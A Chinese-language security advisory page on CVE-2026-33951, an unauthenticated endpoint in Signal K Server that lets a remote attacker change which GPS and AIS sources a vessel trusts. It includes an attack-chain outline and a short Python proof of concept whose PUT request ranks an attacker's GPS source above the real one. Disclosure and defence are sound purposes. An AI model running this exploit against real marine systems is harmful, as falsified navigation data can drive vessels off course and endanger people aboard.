IPBUF安全漏洞报告
English
CVE-2026-33951 CVSS 7.5 高危

CVE-2026-33951 Signal K Server未授权修改数据源漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-33951
漏洞类型
访问控制失效
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Signal K Server

相关标签

Access ControlSignal KIoTConfiguration Tampering

漏洞概述

Signal K Server 2.24.0-beta.1 之前版本存在安全漏洞,因其未对特定 HTTP 端点进行认证保护,导致攻击者可远程修改导航数据源优先级。该配置会被立即应用并持久化,从而干扰系统对 GPS 及 AIS 数据的信任。

技术细节

漏洞位于 PUT /signalk/v1/api/sourcePriorities 接口。由于该端点缺乏身份验证和授权检查,远程攻击者无需交互即可发送恶意请求。服务器将用户提交的数据直接写入配置并持久化到磁盘。攻击者利用此漏洞可篡改传感器数据源的优先级,导致系统优先使用受控或错误的数据源,进而破坏导航数据的完整性。

攻击链分析

STEP 1
1. 信息收集
攻击者发现目标网络中运行着未受保护的 Signal K Server 实例。
STEP 2
2. 发送恶意请求
攻击者向 /signalk/v1/api/sourcePriorities 端点发送特制的 HTTP PUT 请求,包含篡改的数据源优先级配置。
STEP 3
3. 配置篡改
服务器接收请求,由于未校验权限,直接将恶意配置写入内存并持久化到磁盘。
STEP 4
4. 影响实现
系统导航逻辑被改变,开始信任攻击者指定的数据源,可能导致船只偏离航线。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-33951 import requests target = "http://<target-ip>/signalk/v1/api/sourcePriorities" payload = { "sources": [ {"src": "attacker_gps", "priority": 1}, {"src": "real_gps", "priority": 99} ] } # Exploit: Send unauthenticated PUT request response = requests.put(target, json=payload) if response.status_code == 200: print("[+] Successfully modified source priorities.") else: print(f"[-] Failed with status code: {response.status_code}")

影响范围

Signal K Server < 2.24.0-beta.1

防御指南

临时缓解措施
建议立即升级至修复版本。若无法升级,应通过防火墙或反向代理限制对该端点的访问,仅允许受信任的内部IP地址连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表